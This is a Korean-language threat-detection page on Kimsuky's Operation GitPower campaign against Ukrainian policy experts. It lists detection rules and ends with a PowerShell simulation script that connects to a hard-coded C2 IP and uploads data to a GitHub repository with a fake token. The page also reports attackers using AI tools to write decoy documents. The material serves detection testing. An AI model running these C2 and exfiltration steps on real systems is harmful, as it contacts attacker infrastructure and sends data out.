기트파워 작전: 우크라이나를 겨냥한 김수키의 간첩 활동
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Kimsuky는 현재 외교, 보안, 국제 정책 분야의 우크라이나 전문가들을 대상으로 사이버 스파이 활동을 진행하고 있습니다. Operation GitPower로 알려진 이 캠페인은 답장을 유도하는 스피어 피싱을 이용하며 GitHub, GitLab, Codeberg와 같은 합법적인 개발 플랫폼을 악용하여 악성 코드를 전달합니다. 공격자들은 또한 AI 도구를 사용하여 기만 문서를 작성하고 공격 프로세스를 자동화하기 시작했습니다.
조사
조사관들은 PDF로 위장된 악성 LNK 파일과 가짜 Zoom 설치 프로그램을 포함한 여러 공격 단계를 검토했습니다. 그들은 VBScript와 PowerShell 스크립트가 예약된 작업을 통해 지속성을 설정하는 다단계 실행 흐름을 추적했습니다. 이 그룹은 하드코드된 C2 서버와 GitHub의 API를 통해 데이터 탈취를 수행합니다.
완화
조직은 LNK 파일, PowerShell 및 진짜 클라우드 개발 서비스의 악용을 목표로 한 EDR 탐지 및 위협 헌팅 기능을 강화해야 합니다. GitHub 및 GitLab으로의 비정상적인 예약 작업 및 허가되지 않은 API 호출을 엄격하게 모니터링하는 것이 권장됩니다. 사용자는 정교한 답장 유도 사회 공학 전술을 인식하도록 훈련 받아야 합니다.
응답
탐지 후 응답자는 식별된 TCP C2 또는 GitHub 채널을 통해 추가 데이터 유출을 방지하기 위해 감염된 엔드포인트를 격리해야 합니다. 분석가는 허가되지 않은 예약 작업을 검색하고 C:UsersPublic 디렉토리에서 악성 VBS/PS1 파일을 검사해야 합니다. LNK 실행을 나중에 사용된 합법적인 클라우드 서비스와의 네트워크 연결과 관련지어야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
이중 확장명을 가진 악성 LNK 파일 가능성 (cmdline 사용)
의심스러운 디렉토리에서 실행되는 Powershell 사용 정책 무시 (cmdline 사용)
Schtasks는 의심스러운 디렉토리/바이너리/스크립트를 가리킴 (cmdline 사용)
LOLBAS WScript / CScript (프로세스 생성 사용)
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성 사용)
의심스러운 CURL 사용 (cmdline 사용)
Invoke-RestMethod의 의심스러운 사용 (Powershell 사용)
Powershell에서 의심스러운 .NET 메서드 호출 (Powershell 사용)
비정상적인 프로세스에 의해 시작된 GitHub 파일 다운로드 가능성 (네트워크 연결 사용)
공용 사용자 프로필에서의 의심스러운 파일 (파일 이벤트 사용)
IOCs (HashMd5)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상 4부
IOCs (HashMd5)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상 3부
IOCs (HashMd5)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상 2부
IOCs (HashMd5)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상 1부
IOCs (SourceIP)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상
IOCs (DestinationIP)를 탐지하여: Kimsuky의 Operation GitPower 우크라이나 대상
Windows 네트워크 연결에서 Kimsuky 활동의 TCP C2 연결 및 GitHub 기반 유출 탐지
악성 스크립트 실행을 위한 GoogleUpdateTaskMachineUA 예약 작업 탐지 [Windows Sysmon]
LNK 파일을 사용한 난독화 및 지속성 유지의 악성 PowerShell 스크립트 실행 [Windows 프로세스 생성]
시뮬레이션 실행
-
공격 내러티브 및 명령어: 공격자는 GitHub를 통해 명령 및 제어(C2) 통신을 설정하고 민감한 데이터를 유출하는 것을 목표로 합니다. 첫째, 공격자는 하드코드된 C2 IP
111.92.246.145포트12345에 TCP 연결을 설정하여 준비 상태를 신호합니다. 두 번째로, 전통적인 데이터 전송 모니터링을 통해 탐지를 피하기 위해 공격자는 GitHub Contents API를 사용하여 도난 문서를 GitHub 저장소에 업로드하는 “livin-off-the-land” 접근 방식을 사용하여 Kimsuky User-Agent를 모방합니다GitHub-API/1.0. -
회귀 테스트 스크립트:
# Kimsuky 탐지 검증을 위한 시뮬레이션 스크립트 Write-Host "[+] Kimsuky 시뮬레이션 시작..." -ForegroundColor Cyan # 1. C2 연결 시뮬레이션 (TCP 111.92.246.145:12345) Write-Host "[+] 111.92.246.145:12345로 C2 연결 시도" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # IP가 도달하지 않는 경우 스크립트가 멈추지 않도록 짧은 timeout 사용 $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] 연결 실패 (IP가 오프라인이면 예상된 상황), 하지만 Sysmon이 여전히 telemetry를 기록해야 합니다." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] C2 시뮬레이션 중 오류: $($_.Exception.Message)" -ForegroundColor Red } # 2. GitHub 유출 시뮬레이션 (특정 User-Agent로 GitHub API에 POST 사용) Write-Host "[+] GitHub API 유출 시뮬레이션 시도..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "데이터 유출" "content" = "SGVsbG8gV29ybGQ=" # "Hello World"의 Base64 } | ConvertTo-Json try { # 특정 탐지 로직을 방아쇠로 -UserAgent 사용 Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] HTTP 요청 완료 (가짜 URL에 대한 예상 404/401, 하지만 User-Agent가 전송되었습니다)." -ForegroundColor Gray } Write-Host "[+] 시뮬레이션 완료." -ForegroundColor Cyan -
정리 명령어:
# 이 시뮬레이션 스크립트로 인해 지속적인 아티팩트가 생성되지 않았습니다. # 콘텐츠에 사용된 로컬 파일이 있는 경우 삭제해야 합니다: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] 정리 완료." -ForegroundColor Green